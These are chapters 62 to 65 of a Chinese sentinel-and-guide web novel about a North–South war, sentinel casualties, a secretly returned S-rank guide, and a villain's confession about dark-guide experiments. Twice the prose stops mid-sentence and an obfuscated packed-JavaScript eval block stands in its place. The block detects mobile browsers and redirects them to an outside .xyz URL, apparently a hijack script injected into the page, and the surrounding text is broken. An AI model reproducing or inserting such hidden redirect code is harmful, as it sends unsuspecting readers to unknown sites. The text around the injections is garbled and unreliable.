果真是士别三日当刮目相待,若非亲眼所见,顾小绒可能不会相信他们俩的默契和精神连接已经高到了如此的程度,几乎合二为一。他们二人也不愧是中央公会的最高战力,在如此的逆境之下竟也能杀出一条血路来。 射人先射马,擒贼先擒王,在料理完其余围攻哨兵之后,趁着下一波围剿还未成型,周烨与楚飞对视一眼,而后高度默契地朝着希里斯的方向强攻而来。 见对方如此攻势,顾小绒抵足了力量准备应对对方的精神攻击,滚烫的白光几乎在霎时吞噬了天地,伴随着几乎快要爆裂开来的痛楚,顾小绒能感觉到自己的精神屏障几欲破碎,她其实是可以坚持一下的,不过此时刚好是恰到好处的放水时分,她于是故意破损开一个缺口将那股精神力漏了进去。 预料之中的结果却并没有到来,熟悉的红酒之外忽然夹杂了另一股向导素的气息,那股陌生而强大的精神力如同飓风一般破空而来,带有千钧之势朝着顾小绒的精神屏障劈砍而下。 双层重击使得顾小绒几乎昏厥,在带血的视线中,她赫然看见了那股精神力的拥有者,那是一双熟悉而璀璨的紫色的眼睛—— 63. 第六十三章 炮火与烈焰的强光将夜幕映照得亮如白昼,滚滚硝烟自掩体外升起,北方军最高统领者莱安.西里埃克斯上将与他的哨兵终于现身此处。 阿维隆的支援终于到了,顾小绒的心中松了一口气。 在遥远的另一处,顾小绒能听见“3号向导”嘶哑的哀鸣,她自己也好不到哪去。视线被屏蔽、连同与哨兵的精神连接都被短暂切断。有了莱安强大精神力的加持,周烨便乘风而上,朝着顾小绒所身处的、遥远无垠的黑暗,硬生生强行突围了进来。 “顾小绒!!”周烨大声呼喊着她的名字。 他挣扎着从裹挟住他的泥沼中起身,那张白皙的面容上已沾满了殷红的血,他用尽力气将手朝她伸去。 顾小绒悚然一惊,周烨竟然意识到了自己的存在,他捕捉住了自己,强行突入进了她所处的精神空间中!而笼罩着她的那股黑暗迅速反击,一股巨大的力量朝外涌去,仿佛要将周烨碾碎。对方在如此强力的精神压制面前竟然不动分毫,他只后退了两步便稳住了身形,灿烂的光华不断从他的身体中涌出,像是要将无际的黑暗刺破。 “顾小绒!”她再次听见他呼喊自己的名字,一道鲜血从周烨的眼中流淌而下,他青筋暴起、俨然到了极限,却仍旧不肯放弃。可瞬时之后,他的声音便戛然而止。黑暗倾泻而下,如同带有生命的漩涡般猛地收拢,潮水如同翻涌的触角将她的身躯牢牢包裹,她被禁锢其内、无法动弹,所有的画面与声息都在瞬间被隔绝,一切都静止了。 尖锐的铃声刺破深夜的寂静,曼琳几乎是立即一个翻身从床上跃起,这一整晚她都只是合着眼,根本没有睡着。 “少校!中部战线战报!”对方声音急促,连同气息都有些微微颤抖。 “讲。”曼琳沉声开口。 这段时间以来,北方并不是没有想过破局,在长久缜密的商讨及演练后,军部高层一致认定不能这样无止境地消耗下去,他们决定以维塞克为轴心,朝着南部继续推进,阿尔塞拉与瓦尔塔那几乎已被打成了一片废墟,这一次北方的目标是更南边的特瑞斯。 特瑞斯位于泽卡的西北部,承担了相当一部分卫星城与护城河的职责,拿下这里,等同于将利刃高悬在泽卡头顶。在此之前,他们已经预料到会遭到南方最为激烈的抵抗,并做好了牺牲的准备。 “报告长官,我方哨兵与向导成功完成任务,特瑞斯城已经攻破。”对方的声音短暂地停顿了片刻,曼琳的手紧紧扣住通讯器,她直觉对方接下来要讲的话可能超出她的承受范围。 “牺牲哨兵人数23人,向导人数11人,我方S级哨兵言韶与他的向导华峥牺牲,以下是其余伤亡名单。”对方继续汇报道:“敌方除了已探明的2号向导之外,还检验出了另外的向导素,目前收集到的信息已传送回公会,请求解析。” 尖锐的声响刺破大脑,骤然的嗡鸣之后,只剩一片白茫。曼琳深吸一口气,目光朝下扫去,在长长的哨兵牺牲名单里,她看见了排在第一位的言韶,以及排在后面的莉莉。一阵泪意翻涌而上,曼琳喉头一哽,朝着对面说:“把现场资料与记录仪都发过来。” “是,长官。”随着资料传递的清脆声响,通讯器被挂断,铃声紧接着再次拉响,这一次来电显示的坐标是东部战线。 “报告长官,昨夜凌晨2点07分,南方军同时袭击塔尔蓝与卡利斯特,目前卡利斯特守住,塔尔蓝丢失,我方伤亡惨重。”南方并没有坐以待毙,在那一阵焦灼的相持之后,他们同样决定破局,朝着东部战线推进。 “汇报具体伤亡情况。”曼琳命令道,将情绪与感知抽离出身体。 “牺牲哨兵人数45人,向导人数28人,我方S级哨兵楚飞尚且存活,可他的向导周烨重伤,目前正在送回公会的路上,预计天亮时到达。”对方完成了这段漫长的报告,并且提到希里斯现身卡利斯特,因此这边的伤亡情况格外严重。 “知道了。”曼琳朝着诺兰使了个眼色,对方立即眼疾手快地朝禁制塔发送了讯息。 “现场除了已知的3号向导之外,同样检测出了别的向导素,疑似新的黑暗向导出现,数据已传回公会,请长官查收。”对面传来一丝细微的嘈杂声,数秒的沉寂后,对方才接着说道:“莱安上将请您与韩奕少将连线开会,他将亲自做战场汇报。” “好的,等少将来了后,我们会回拨过来。”曼琳讲完后便挂了通讯器,她抹了把自己的脸,白皙的面庞已泪流满面,眼泪从上面大颗大颗地淌下,随后滚落在地。 她随后起身走到洗漱台前,用冰冷的水拍在自己脸上,严冬的深夜正是最冷的时候,被彻骨的凉意击中,近乎麻木的感知与情绪才重新回归了身体,可是她不能再哭泣。 凌晨四点的公会停机坪灯火通明,因为同时展开的两线大规模作战,这里的运作第一次被拉到了如此饱和的程度。 中部战线送回的伤员走一到三号停机坪,东部战线送回的则是四到六,曼琳和穆承安几乎在差不多时候同时到达,韩奕已经在那里伫立了很久。黑夜与白光明烈地映照着,将少将的背影切割得冷冽分明,在他身旁数米之外,还伫立着另外两位熟悉的身影。 前向导总负责人沈骁上校与他的哨兵重泽,就站在距离韩奕不远的地方,见穆承安和曼琳过来,二人齐齐转身,简单地同他们打了招呼。 楚飞和周烨是最快被送回来的,作为目前硕果仅存的S级哨兵,楚飞身体上的伤不算致命,可周烨的情况十分危险,在运送回来的途中他的心跳甚至停止了一次,经过了惊心动魄的抢救才重新回来。乌泱泱的医疗队伍簇拥着病床,将重伤的向导小心地转向军区医院。 “得罪了。”按照例行流程,穆承安将禁制环扣到了楚飞的脖子上,哨兵一直低垂着头,直到韩奕和沈骁走上前来才缓缓抬起,他双眼的血管全都爆裂开来,满目惊心的血红。 “南方根本不是要夺取城池的,他们是来杀我们的。”楚飞哑着声音说道。 “嗯,知道。”沈骁答道。 “先别想那么多,调整好状态尽快从禁制塔出来。”重泽俯下身按了下楚飞的肩,他的身形极其高大,音色低沉。 “唔……”楚飞一边配合着让穆承安铐上手铐,一边疲惫地抬起眼:“前辈,您也回来了。” “嗯。”重泽微一颔首:“退役的都招回公会了。” “行了,走吧。”穆承安走完了流程,与十多位哨兵一起将楚飞送上了去往禁制塔的车。按照禁制塔法案的规定,如果他的向导死去或是无法再上战场,公会将立即向他匹配新的向导。 “第二批退役哨兵和向导什么时候报道?”一直沉默的韩奕忽然开了口。 “后天。”曼琳答道,第一批召回的退役士兵年龄在35岁以下,而第二批则没有设立年龄限制,只要身体无恙几乎照单全收。 诺兰一直同几位长官保持着相对遥远的距离,直到一小时后,才终于从众多中部战线送回的伤员里找到了正羽和程浩。 程浩伤到了头部,还在昏迷,但幸运地活了下来。而正羽的右腿则被炸断,虽然在回来的路上就用了吗啡,但哨兵仍旧在过度的疼痛里昏死了好几次。 北方在药物的使用上向来克制,但也架不住这段时间以来急剧恶化的伤亡情况,如果不使用吗啡,哨兵极有可能来不及抢救就剧痛致死。诺兰的手抚上正羽的肩,哨兵的面容与唇色苍白如纸,双眼却浸着水汽,红得湿透。望着唯一还活着的伙伴,诺兰下颌紧咬,唇齿发颤。 正羽想要抬手回应他,却实在没有了力气,他只能静静注视着对方,没多久就虚弱地合上了眼。 伤员运送完毕后,接下来是牺牲的烈士,诺兰没有上前去,他无法面对伙伴们的遗体,也无法在此时此地崩溃。覆盖着国旗的遗骸被一件件抬下战机,他不敢去分辨谁是谁,现场一片寂静,整个世界的颜色与声音仿佛都在流失,甚至连机翼发出的巨大声响都消失不见。 晨曦不知何时升了起来,给冷寂的世界镀上了一层微光,诺兰抬起头来,无际的黑色穹窿泛起一丝苍蓝,直到最后一位烈士的遗骸被抬下战机,朝阳明亮的金色光芒刺破空濛的清晨,朝着他们身上洒落。 一夜之间,公会失去了67位A级哨兵,39位A级向导与1位S级哨兵。言韶、华峥和莉莉静静躺在帝国的国旗下,变成了一串冰冷的数据。他们得到了中部的特瑞斯,也失去了东部的塔尔蓝,最后堪堪守住了卡利斯特,数据与城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055902|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池的名字依次出现在报告里,冷酷精确,不带一丝温度。 南方显然没有占到更多便宜,他们的伤亡数量比北方只多不少,可北方没有时间流泪,因为如此巨量的牺牲不能只换来眼前这样的结果,他们需要立即开会,解析战场数据。 在场的诸位将领一夜未眠,但没有一个人申请休息,韩奕先走进会议室里,沈骁、重泽与曼琳跟随其后,在两边各自落座。视频朝着阿维隆和维塞克各自连线,两分钟后布雷塔妮和莱安便各自接通了视频,至此人员齐备,会议正式开始。 优先要做的是战情汇报,布雷塔妮并没有亲临一线,而是在维塞克驻守,可此时能做报告的也只有她一个人。从记录仪还原的现场,可以明显看出敌方是按照猎杀S级哨兵的等级布置的,他们这一次的目的不是驻守城池,而是引诱S级哨兵落入陷阱。 言韶很显然没有预料到敌方的这一层目的,从他开始执行任务的这一刻,就已注定无法脱身。但即使如此,他仍旧在人生的最后一战中爆发了无与伦比的力量,最后总计击杀敌方哨兵上百人,若不是最后他的向导华峥力竭牺牲,也许他能支撑得更久。 即使深陷如此绝境,言韶也仍旧拼上性命完成了任务,用一座城与100位狂化哨兵的性命,让南方付出了极其高昂的代价。 而东部战线那边则更加明显,南方甚至还同时入侵了塔尔蓝以做掩饰,最终才将毫不知情的楚飞围猎在了陷阱的中心。 战场记录仪显示,当晚楚飞与周烨几乎同时被希里斯以及多达80位高智能狂化哨兵围攻,若不是最后莱安的支援及时赶到,那么他们昨晚失去的就不止一个S级了。 “别的也就算了,看看这个。”视屏中的莱安将一段记录仪的画面切到了投屏的中央,那是周烨的记录仪所做的最后一段录像,在当时如此紧张而危险的局势里,他忽然前倾身体、脱离开哨兵的保护范围。 “顾小绒!”录像在周烨最后的呼喊中截止,化作一片虚无。 现场寂静到没有一丝声息,每个人都在消化着刚才的那一段录像所包含的信息。曼琳低垂着目光,韩奕冷白而分明的手就在她的视线边缘,她不敢看向老师的眼睛。沈骁如同雕塑一般定格在原地,短短几秒内,他的神色从不可置信逐渐转为荒芜。 曼琳做为现场为数不多知晓真相的人,心也同沈骁一道沉了下去。 见几位长官都不说话,布雷塔妮只能开了口:“现场对向导素的解析结果出来了么?” “有,但除了已知的2号、3号向导之外,其余解析出来的向导素只有古龙。”莱安将数据导入大屏。 “我这边也是。”布雷塔妮答道,在死一般的寂静里,只有他们二人隔着电子屏互相说话。黑暗向导异地同时出现倒也不是第一次,这个事情的诡异之处在于周烨最后反常的行为与呼喊,以及现场并不存在的顾小绒。 仪器对向导素的捕捉是有限的,周烨的精神力毫无疑问远在仪器之上,他在现场一定感知到了什么,只是此时他仍旧昏迷,还没有脱离生命危险,无法提供任何信息。 “请问长官您对此有无思路?”现场的气氛仍旧寂静得可怕,布雷塔妮不得不继续问道。 “有啊。”莱安轻笑一声,尽管他右脸的伤口还渗着殷红的血:“古龙味向导素,这不是老熟人么。没想到晏泽和我一样,也有不得不亲临战场的一天,看来南方也快弹尽粮绝了。” 莱安的指尖抚着下颌,笑意更甚:“还是说……我更应该称呼他为‘德拉文’?” “您……您是说?”布雷塔妮感到心脏一紧。 “在做的各位在南方都有自己的情报网络,想来多少知道些,我不必赘述。”莱安说完,指尖朝下垂落,他还不忘嘲讽一句:“如果都到现在了,还不知道晏泽就是德拉文,只能说明自己的情报整得太烂。” “那……”布雷塔妮在巨大的震惊中迟疑了两秒:“上将,现在周烨没有醒来,我们……” “没有时间等了。”莱安站起身来,语调冰冷、居高临下:“如果顾小绒真的跟晏泽在一起,那么找到她就可以找到晏泽,这件事需要立即执行。 他的神色化作一丝玩味的笑意:“你的意思呢?韩奕。” 64. 第六十四章 事态终于还是朝着最不理想的方向发展,曼琳不得不抬起头,望向自己的老师。 窗外曙光初照,金色的阳光刺破云层,将会议室映照得一片明亮。在场的所有目光都不得不聚集到韩奕身上,顾小绒是少将的前任向导,长期以来大家都不敢提及此事,莱安这样明目张胆把事挑破,氛围变得十分敏感。 韩奕侧身而坐,日光将他的眉目勾勒得俊挺分明,黑眸自深杳的轮廓下缓缓抬起,那双眼的神色却平静得毫无波澜。 “既然上将的情报网络如此强大,那么定位顾小绒的任务就交给你了。”少将轻声开口,喉结微微一动。 “……”莱安收敛了笑意,似乎没有想到韩奕会如此反击,他更意外的是韩奕全然置身事外的神情,他看上去对顾小绒毫不在意。 二人直接交锋,气氛剑拔弩张,四下一片寂静,没有一个人敢出声。 许久之后莱安才抚着下颌,懒声答了句:“好啊,不过大家都听到了,是少将开口把顾小绒交给我处理的。” 韩奕放在桌下的手在看不见的阴影处缓缓收紧,莱安随后说道:“南方这一次损失也很巨大,我认为现在已经到了对方最疲惫薄弱的时候,正是发动反击的最佳时机,少将怎么认为?” 既然他把话递了过来,韩奕也不再客气:“沈骁和重泽派往中部战线,继续驻守特瑞斯;我前往东部战线,与空军、陆军与海军全部汇聚阿维隆,两个月内拿下塔尔蓝、德斯菲尔与帕里维亚。” 德斯菲尔与帕里维亚是南方军唯二仅剩的军港,也是南方的海军大本营,此言一出,满座皆惊。 “沈骁与重泽在特瑞斯待命,等时机合适,同东部战线一道双线进攻泽卡。”少将冷声下完所有命令,抬眼扫过电子屏:“中部战线的最高指挥权仍旧交由布雷塔妮负责,沈骁与重泽受其管辖。” “老师,我……”曼琳忍不住开了口。 “曼琳留在中央公会。”韩奕用极轻的语调下完了命令,曼琳无法反抗老师的决定,只能把才到嘴边的话又咽了回去。 “好,既然少将有信心,那就这样吧。”片刻之后,莱安又挂上了那套面具般的笑。 “第二批前来报道的退役人员数量很多,需要你做好统筹。”韩奕没有抬眼,但他能感觉到一旁曼琳的情绪。 做为一个哨兵,在战况到了如此程度的时候竟然不能上阵杀敌,曼琳的脑海中闪过牺牲的同伴的脸,她闭上眼,长长地吐出一口气。 “你的位置十分重要,我们很需要你。”向来沉默寡言的少将把目光落到了曼琳身上,随后又朝向了电子屏:“你也是,布雷塔妮。” 被一眼看透的布雷塔妮面色怔了怔,才答了句:“是……长官。” 虽然布雷塔妮一直保持沉默,但韩奕清楚,做为同样一流的战士,她与曼琳的心情是一样的。对于言韶的牺牲,布雷塔妮一直心存愧疚,甚至将责任归结到了自己身上。越是到了这个时候,战士的情绪与心态越是重要,让冷静与理性占领上风、避免被悲伤与愤怒所支配,才是一名合格军人应有的素养。 在这样至暗的谷底,少将用了整整三分钟安抚下属的情绪,直到布雷塔妮紧绷的肩微微松弛,曼琳也缓缓松开了紧攥的双手,这事才算完结。 沈骁将目光从窗外明亮的晴空收回,与他的哨兵默契互视一眼。 会议结束后,几人陆续走出会议室,韩奕要去往东部,与沈骁和重泽分头行动。虽然现在他已身为少将,但重泽也没有和他客气,还像是以前那样伸手拍了拍韩奕的肩,双方就此分别,无需过多的话语和神情。 望着韩奕离去的背影,曼琳怅然若失,一旁等待已久的诺兰也终于走上前来。 “你也别急,等我们死了再派你去前线。”重泽对曼琳露出一个灿烂的笑。 “前辈这一点也不好笑……”曼琳的脸色从凌晨时的青色转变为苍白,但仍旧十分难看。 “我们也该出发了。”沈骁看了眼时间,随后又看了看自己的哨兵:“你的战服还是以前的尺寸吗?” “可能有点紧了。”重泽低头看了眼自己的腹部。 “……”沈骁陷入了沉默。 “话说,我们有多久没有上前线了?”重泽面容严肃地重新抬起了目光。 “挺长时间了……两三年了吧?”沈骁托着下颌:“具体的记不得了。” “你还行吗?生锈了没?”哨兵斜眼瞟了自己向导一眼。 “别逼我削你。”沈骁冷冷回道。 两人一边斗嘴一边朝着走廊另一侧离开,直到拐弯处才和曼琳与诺兰挥了挥手。 走廊上又只剩下了孤零零的两个人,曼琳神情落寞,刚才那一别不知以后还能不能相见,而前辈们举重若轻,将生离死别轻描淡写、一笔带过。 直到确定空旷的楼层中已没有了人,诺兰才降低声线对曼琳说到:“第二批回归公会的退役士兵已前来报道。” “派人去组织了吗?”曼琳揉了揉有些嗡鸣的太阳穴,声音透着疲惫。 “去了,不过其中有一位可能需要你亲自去一趟。”诺兰的声音压得更低,近乎气音。 曼琳碧色的眸子忽地一亮,她定定看着诺兰,过了几秒似乎才反应过来,无法抑制地流露出惊愕的神色:“难道是?” 诺兰立即伸出食指轻轻压在了她的嘴唇上:“这是秘密任务,不能告诉任何人。” “老师的命令?”曼琳低声问道。 诺兰点点头:“你一直在忙,少将就交代给我了。” 晴丽的阳光将整个大楼都映照得通透雪亮,气温却因着化雪变得更加寒冷。 为避人耳目,他们没有选择人来人往的公会大楼厅堂,而是直接让莉莎将人请进了办公室里。低调的黑色车辆行驶过川流不息的公会前门,经过凋敝晦暗的巨大园林,最后停靠在僻静的办公楼下。 车里只有一位司机以及莉莎随行,走下来的中年男人身量颀长,看上去温文尔雅、器宇不凡,虽然已年过半百,但鬓发仍旧乌黑如云,他的眼角虽已有浅浅的皱纹,可那双眼却仍旧明亮锋利、宛如星子。 曼琳还未有所动作,身旁的诺兰便已激动得微微颤抖。也不怪他反应如此之大,如果不是到了现在这样特殊的情况,也许他们终其一生都没有机会看见这位传说中的前辈。 此时站在他们眼前的,正是那位20年前退役的、本纪元唯一的S级向导。 “前辈请。”曼琳的目光四下留意,在确定没有被看到后,快速将对方请进了自己的办公室,莉莎给他们摆好了果盘与茶水,便迅速地关上门离开了。 与如此传奇的人物共处一室,曼琳和诺兰有些僵硬地杵在那儿,尤其是曼琳,看上去不像是哨兵总负责人,倒像是新兵蛋子。最后,还是前辈温和地朝他们招了招手,让他们坐下。 待到两位紧张的年轻人坐定,前辈这才将手伸向了脸侧,属于哨兵的锐利目光让曼琳一眼瞧出了端倪,前辈的手指修长而白,比脸部与脖颈处的皮肤还要白皙。果然在下一刻,骨节分明的手指轻轻捻动,便将一张薄薄的面具撕了下来,那张纳米面具看上去甚至还是公会的最新型号。 然而让两人更为震惊的,还是面具脱落之后的那张脸。 前辈虽已上了年纪,容貌却仍旧剑眉星目、俊美非凡,高挺的鼻梁与优越的下颌线并没有因岁月的流失松弛半分,尤其是那双清澈剔透的眼睛。 那是…… 曼琳与诺兰目瞪口呆,几乎是下意识地将一个名字脱口而出:“周烨?” “自我介绍一下,我是73102号上尉、向导周成山。”前辈将纳米面具缓缓放到桌前,身姿端正持重:“也是周烨的父亲。” “!!!”一道惊雷劈过曼琳与诺兰的脑海,两人瞠目结舌,眼睛睁得溜圆,说不出一句话来。 即使是最天马行空的幻想,也无法将传说中的S级向导与他们认识的任何一个人联系在一起,他听上去实在是太过古老悠远了,古老到仿佛是一个故事、一个传说。出于军队的保密原则,他们互相之间都不知道彼此的身份背景、以及是否还有同样在军中任职的家属。 他们真的是死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周烨静静地陷在白色的被褥里,浑身插满管子,无数的仪器伫立在他的周围,他瘦到形销骨立、几乎让人快要辨认不出。他看上去并非完全没有感知,即使是昏迷着,剧烈而绵长的痛苦仍然时刻折磨着他。周烨浓黑的眉宇紧蹙着,吞咽也因为插管而痛苦非常,他的额前泛着一层薄薄的汗,整个人在冷蓝的微光下仿若白瓷,像是下一秒就会破碎。 前辈已闪身走到了周烨的床前,曼琳眼见这位父亲弯下腰,近乎颤抖地、疼惜地将他的孩子搂进怀里。直到这时,周成山一直挺拔的背才坍塌下来,显露出一分苍然。 因为痛苦,周烨的手几乎是无意识地痉挛着,周成山一遍遍轻抚着他的额头,缓缓按揉着他蜷曲的指节。曾经那样强大的周烨,此时单薄得像是一张纸,许是感知到眼前熟悉的怀抱与温度,他的头不自觉朝着父亲的怀里偏去。在经过无数的岁月之后,他终于又躺进父亲的怀里,如同他刚出生时那样。 被父亲爱若珍宝的孩童渐渐长大,愈加优秀强大,可公会最终回应给父亲的,只有他生死不明的躯体、以及一连串冰冷耀眼的勋章。 曼琳不忍再看,别过头去。 走出重症监护室,她还是忍不住再次向医生询问周烨的情况,得到的答复仍旧和上次一样。 “他现在的情况在一个临界点,数值如果往下掉人就没了,数值如果能回升,就能活过来,概率不好说。”医生戴着口罩,语调有些冰冷:“不过你们要做好心理准备,即使他能醒过来,他也永远不能再站起来了……” 因为脱离了哨兵的保护范围,一颗子弹打进了周烨的脊椎,瘫痪是注定的结果。 从军区医院出来的路上,气氛低落到几乎快要凝滞,直到坐上车许久之后,一直沉默不语的周成山才缓缓开了口:“顾小绒,是他最后说的名字吗?” “嗯是的,前辈。”曼琳恭恭敬敬地答着,因为一天一夜没有合眼,她的眼眸已布满了血丝:“请问您有什么思绪吗?” 良久后,周成山说道:“那位叫顾小绒的向导一定在现场,如果周烨在那时与她产生了精神连接,那么……”曼琳是个哨兵,对此一窍不通,倒是身旁的诺兰倒抽了一口气:“您的意思是?” “嗯。”周成山点点头:“周烨应该在她的精神通道里留下了标记,可以由此感应到她的位置,只是……”他的声音不由有些哽咽。 “只是……需要他醒过来……” 65. 第六十五章 来电显示:「天鹰」 通知「尾鸦」:升级「银雀」安保防御至最高级,排除潜在风险、确保行动继续。 男人看着暗淡下去的屏幕,目光一片冷寂,「天鹰」从不会将同一件事重复两次,在「银雀」与整个塞拉菲尔计划上,他似乎已经投入了超额的精力。 久经沙场的经验让男人迅速意识到「银雀」已陷入到空前危险的境地,毕竟黑暗向导实验既已浮出水面,能靠近到核心区域、且已暴露的人员,无论是南方还是北方,都极有可能出手。 而另一边,顾小绒对现在自身的处境无知无觉,再次苏醒过来时,她又回到了那栋熟悉的别墅。 眼前倾颓破败的精神图景让她在原地愣了片刻,这里仿佛遭受了异常惨烈的重创,原本恢弘的城堡已然残破,只剩下破碎的残垣断壁。周遭的原野变成了一片死寂的灰色,白茫茫一直延伸到远处的虚空中。 顾小绒踩着砖石一瘸一拐地走了进去,在经历了卡利斯特的激战后,她的义肢也支撑到了极限,坚硬的机械接口摩擦着膝盖下的残肢,走起来每一步都带着炽烈的痛。 城堡像是被无形的火焰烧过,又淌过了一场凄厉的风雨,她能看见冰冷的水从墙壁上滴落,破碎的砖石上杂草丛生,积起了小水洼。 她抬头往上看,更为诡异的一幕随即撞入了视线,已经坍塌的墙壁与楼梯已无法支撑住城堡的楼顶,可在已然残破的楼体中,那四扇黑门仍旧悬浮在空中,停留在原本的地方。原本的房间已被摧毁,黑门的两侧空空如也,好像门内的世界与这里永远的隔绝了开来。 她已走到了玄关处,远远听见室内传来一阵细微的声息。 一个熟悉的身影躺在客厅仅剩的沙发上,水晶灯坠落在他的面前,破碎的玻璃散落了满地。晏泽的右手垂落下来,几乎快触到地面,深色的军服外套也斜斜垂落到地上,沾满了晶莹的碎屑。上将的脸惨白憔悴,深黑的双眉紧紧蹙起,他的整个身体与轮廓都坍塌了下去,看上去摇摇欲坠。 顾小绒忍着右腿的疼痛快速上前,虽然在积水的地板上差点被玻璃渣滑倒,但她只是稍微趔趄了一下,随后快速稳住了身形。突兀的声响让晏泽的眼睛微微一颤,顾小绒发现那张薄毯还在旁边,便拿了过来给晏泽盖上。 她能感觉到这里留存着剧烈的精神力波动过的痕迹,不知道晏泽做了些什么,但他看上去似乎发动了一场极其可怕的精神侵袭,力量过于庞大,以至于他自身无法承受。 顾小绒将晏泽垂落的手拉起,小心放进薄毯里,他的手消瘦而冰凉,几乎只剩下一层薄薄的皮包裹着骨骼。晏泽在这个过程中其实已经醒了,那只冰冷的手稍微用了些力,将顾小绒温软的手拢进掌心。 “你回来了。”他的声音沙哑,几乎要浸出血来。 “……”顾小绒握着他冰冷的手,一时不敢发声,如果一个重伤之人将自己错认成深爱的妹妹,那么她又何必戳破他的期盼。 晏泽却半睁开眼,目光温柔地抚摸向她的脸庞:“我知道是你,小绒。” 即使已到这样的程度,上将仍旧耳聪目明,顾小绒轻轻叹了口气。 “如果你知道我做了什么,一定不会原谅我。”晏泽的眼又轻轻合上,手却仍旧将顾小绒拉在手心:“不过没关系,我已经没有太多时间了。” 顾小绒心里一紧,晏泽近乎自毁的精神力透支只能和一件事产生联系,那就是对北方发起大规模的侵袭,而从她自己刚才的经历上看,她几乎已经快要触摸到了一切的真相,淡色的唇有些微微颤抖:“晏泽,你就是‘通道’,对不对?” “通道”根本不是藏匿在某处的神秘设备,而是晏泽这个向导本身。 上将苍白的嘴角微微扬起,露出一个浅淡的笑容,他的面庞在冷色的天光下,近乎快要透明:“我曾经答应过你,等你再回来的时候就告诉你一切真相,不过……你果然已经猜到了。” 直到此时,他才像是放下了一切,松开了顾小绒的手,可意料之外地、顾小绒并没有离开他,仍旧双手交叠将晏泽冰冷的手握在掌心。 晏泽顿了顿,眼角似有湿润。 “最早的黑暗向导实验起始于27年前,主导者是晏景行,也就是我的父亲。是的,早在那个时候他就已经开始谋划这一切,根据历史周期推算,内战果然在往后的十多年里爆发。随后便是逐渐统一南方的佣兵、建立政-府,他的每一步都经过精心的谋算,契合上历史进程。” “无论是人工向导素还是催化剂,都只能暂时压制矛盾,只有将向导数量周期性减少这个问题彻底解决,才能真正挣脱命运的束缚,无论南方还是北方,于是他决定成为那个向命运发起挑战的人。” “催化剂产业不过是明面上的幌子,这一套体系建立的根本在于垄断南部几乎所有的优质向导,供给他宏伟的计划与祈愿。最初时候的实验十分残忍,死亡率也极高,前十年都没有太大的进展,没有一个向导能活着支撑过‘逸散’的阶段。” “十年的时间,他几乎穷尽了整个南部所有的向导,却依旧没有得到自己想要的。” 顾小绒的心猛得一沉,她的心脏仿佛比她的大脑更快地预感到了什么,那里发出了一阵细密深切的痛意。 “所以,在我和妹妹分化成向导后,父亲将我们也当做了试验品。小殊是第一个真正意义上活着支撑过‘逸散’的向导,我是第二个,我们的母亲去世得很早,父亲也常年不在我们身边……”晏泽的喉头一哽。 “对于我和小殊而言,在这个世界上,我们除了彼此之外一无所有。在第一针致幻剂注射进体内时,小殊拉着我的手,和我拉钩保证一定会活下去,她也确实做到了。和之前所有哭泣着、绝望的向导不同,她是平静地去做那一切的,那时候她也才十多岁,还是个孩子,可她看上去没有任何的害怕与恐惧,就这样平静而温柔地接受了自己的命运。” 深蓝的眼眸终于抬起,晏泽的目光深深地望着眼前的向导女孩:“就像你一样。” “……”顾小绒在沉默中咬紧了下颌,悲伤如同海浪般翻涌而上,将他们彼此覆没。精神图景变得空灵深邃,好似起了一层雾气,在眼前弥漫开来的薄雾中,顾小绒看见了一个庞大的生物从远处缓缓走来。 那个生物看上去……毫不夸张地说,像是一滩移动的烂泥,黑色的汁液不断地从他的身上冒出。直到它缓慢地移到近前,顾小绒看清了,那应该是一只巨大的变异章鱼,只是它的形态已经畸变,看上去比正常的章鱼可怖了很多。 虽然在之前,她就已经感觉到晏泽的精神力同蝴蝶一样有不寻常之处,但她也实在没有想到他的精神体已经被改造成了这副模样。那只巨大而沉默的畸形章鱼缓慢地移动到晏泽近前,他没有眼睛、浑身都是破溃的口子,这样的形态好像仅仅只是活着就已痛苦不堪。 顾小绒心下一痛,白色的知更鸟从远处空濛的苍蓝中飞落,降落在“章鱼”的身上,柔软的羽毛带着温热的体温贴向它。 在不知不觉间,她已将晏泽的头半拢进怀里。 “谢谢你,见我这副模样,也没有嫌弃我。”晏泽的声音低得只剩气音。 “如同你所猜的那样,除了黑暗向导、也就是‘核心’之外,还有人需要去做‘通道’,那个人就是我。不过,初代的实验技术并不完整,所以我变成了现在的模样……那时候,‘通道’的受体需要极强的兼容度和承受力,我这一方面的力量不够,只能用药剂强行催化,我的精神体和精神力也是在那时候异变的。虽然这样,但我答应过小殊要活下去,所以挺过来了。” “父亲去世后,这所有的一切就落到了我的身上,那时候和北方的战争已经开始,为黑暗向导实验所做出的巨量牺牲也摆在眼前,我没有选择。” “父亲是我杀的,他这一生叱咤风云、算无遗策,最终还是栽到了自己儿子的手里。” “我不得不采取这样激进的行动, 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“总结了艾丽西娅的失败后,在‘3号向导’,也就是温莉的身上我们变得更加谨慎,她的‘逸散’过程十分平稳,最终进入到一个相对成功和稳定的状态。于是我唤醒了小殊,我看见她的精神体苏醒、我能感觉到她的存在,可我无法触碰到她。” 晏泽低下头,望着自己几乎快要透明的指尖。 “作为初代不甚成功的‘通道’,我也和艾丽西娅一样不稳定,且进入了衰变期,你应该也能感觉到。而且我在被药剂强行催化时,精神力已经被污染畸变。说真的,我自己都不敢相信自己竟然坚持到现在,也许是因为答应过小殊要活下去,和她再次相见……” “你是个很聪明的女孩,小绒。”晏泽抬起手,怜爱地抚摸着她的脸颊:“你刚才应该已经猜到了,这三个成功活过‘逸散’状态的向导都有一个共同点,那就是她们都是完全知情且自愿的。” 顾小绒一直紧悬的心轰然坍塌,只见晏泽平静地注视着她,一字一顿的说:“我从一开始就知道,你和艾丽西娅一样是从北方来的。” 